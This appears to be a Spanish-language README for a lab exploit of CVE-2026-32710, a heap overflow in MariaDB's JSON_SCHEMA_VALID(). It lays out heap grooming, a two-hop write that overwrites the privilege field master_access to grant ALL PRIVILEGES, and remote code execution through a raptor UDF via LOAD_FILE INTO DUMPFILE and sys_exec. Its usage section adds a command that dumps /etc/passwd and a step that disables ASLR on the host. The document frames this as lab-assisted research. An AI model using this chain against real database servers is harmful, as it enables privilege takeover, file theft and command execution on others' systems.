CVE-2026-32710

Desbordamiento de búfer en el heap en JSON_SCHEMA_VALID() de MariaDB → escalada persistente de privilegios → RCE vía UDF

Asistido por laboratorio. El script usa Docker/introspección root para leer /proc/1/mem y descubrir el diseño del heap por conexión. La cadena de explotación real es SQL puro sobre TCP. Un exploit armado necesitaría una primitiva de fuga de información para reemplazar el paso de introspección de memoria.

Antes

lowpriv solo puede hacer SELECT en la base de datos test. Las tablas del sistema están denegadas.

Exploit

Un único script de Python realiza el grooming del heap, una escritura arbitraria de dos saltos a través de metadatos de variables de usuario, persiste la escalada vía GRANT ALL, y logra la ejecución de código mediante una UDF:

python3 exploit.py

Después

lowpriv ahora tiene ALL PRIVILEGES WITH GRANT OPTION, puede leer tablas del sistema, leer/escribir archivos arbitrarios y ejecutar comandos del sistema operativo como el usuario mysql. El permiso sobrevive al reinicio del servidor.

Etapas

Etapa 1: Escalada de privilegios

┌──────────────────────────────────────────────────────────────────┐
│  SELECT  json_schema_valid(overflow),                           │
│          @ccc...c := hop1,                                      │
│          @aaa...a := hop2                                       │
└──────────────────────────────────────────────────────────────────┘
         │                    │                   │
         ▼                    ▼                   ▼
   ┌───────────┐     ┌──────────────┐    ┌──────────────┐
   │ 192-byte  │     │ Write to @c  │    │ Write to @a  │
   │ overflow   │     │ through the  │    │ through the  │
   │ corrupts   │     │ corrupted    │    │ redirected   │
   │ entry_c's  │     │ pointer:     │    │ pointer:     │
   │ value ptr  │     │              │    │              │
   │ (2-byte    │     │ entry_a →    │    │ master_access│
   │  partial   │     │   .value =   │    │   = 0xFFFF.. │
   │  overwrite)│     │   &master_   │    │ (ALL PRIVS)  │
   │            │     │   access     │    │              │
   └───────────┘     │   .length= 9 │    └──────────────┘
                      └──────────────┘

1. Grooming del heap — Más de 100 variables de usuario agotan la tcache, forzando que Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c se asignen consecutivamente.

2. Desbordamiento — JSON_SCHEMA_VALID dispara un strncpy de 192 bytes más allá del búfer de 128 bytes, corrompiendo entry_c→value (sobrescritura parcial de puntero de 2 bytes dentro de la misma página de 64 KB) para que apunte a entry_a + 32.

3. Salto 1 — Asignar a @c escribe 126 bytes a través del puntero corrupto en los metadatos de entry_a, estableciendo:

   • entry_a→value = &Security_context::master_access
   • entry_a→length = 9

4. Salto 2 — Asignar a @a escribe 8 bytes de 0xFF a través del puntero redirigido → .

Etapa 2: RCE vía UDF

Después de la persistencia, el servidor se reinicia (recuperación tras caída), y los privilegios escalados se usan para instalar una biblioteca compartida UDF:

1. LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'
2. CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'
3. SELECT sys_exec('id > /tmp/pwned')

Restricciones clave resueltas

Configuración del laboratorio

# 1. Compilar e iniciar el contenedor
./setup.sh

# 2. Deshabilitar ASLR en el host Docker
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

# 3. Ejecutar el exploit (se autocalibra por intento)
python3 exploit.py

# 4. Comando personalizado
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'

Requisitos

• Docker (x86_64)
• Python 3
• ASLR deshabilitado en el host Docker (/proc/sys/kernel/randomize_va_space = 0)
• El contenedor se ejecuta con --cap-add SYS_PTRACE (para acceso a /proc/1/mem)

Opciones

--calibrate      Medir las constantes del diseño del heap y salir
--cmd CMD        Comando para la ejecución UDF de la Etapa 2 (por defecto: id > /tmp/pwned)
--stage1-only    Ejecutar solo la escalada de privilegios, omitir RCE vía UDF
--attempts N     Máximo de intentos de la Etapa 1 (por defecto: 5)
--host HOST      Host de MariaDB (por defecto: 127.0.0.1)
--port PORT      Puerto de MariaDB (por defecto: 3306)

Qué proporciona la asistencia del laboratorio

El script del exploit entra al contenedor como root para leer /proc/1/mem. Esto se usa para dos cosas:

1. Descubrimiento del diseño del heap — localizar las tres estructuras centinela user_var_entry y verificar que son adyacentes (entry_a+32 dentro de la misma página de 64 KB que entry_c→value para la sobrescritura parcial de 2 bytes).
2. Dirección de Security_context — encontrar el campo master_access para apuntarlo con la escritura de dos saltos.

El escaneo se ejecuta inline para cada intento porque el diseño del heap varía entre conexiones (incluso con ASLR=0) debido a que el pool de hilos de MariaDB asigna diferentes arenas. La cadena de explotación real — desbordamiento + salto 1 + salto 2 — es SQL puro ejecutado sobre una conexión TCP.

En un escenario del mundo real, un atacante necesitaría una vulnerabilidad separada de fuga de información (o un canal lateral) para obtener estas direcciones.

Archivos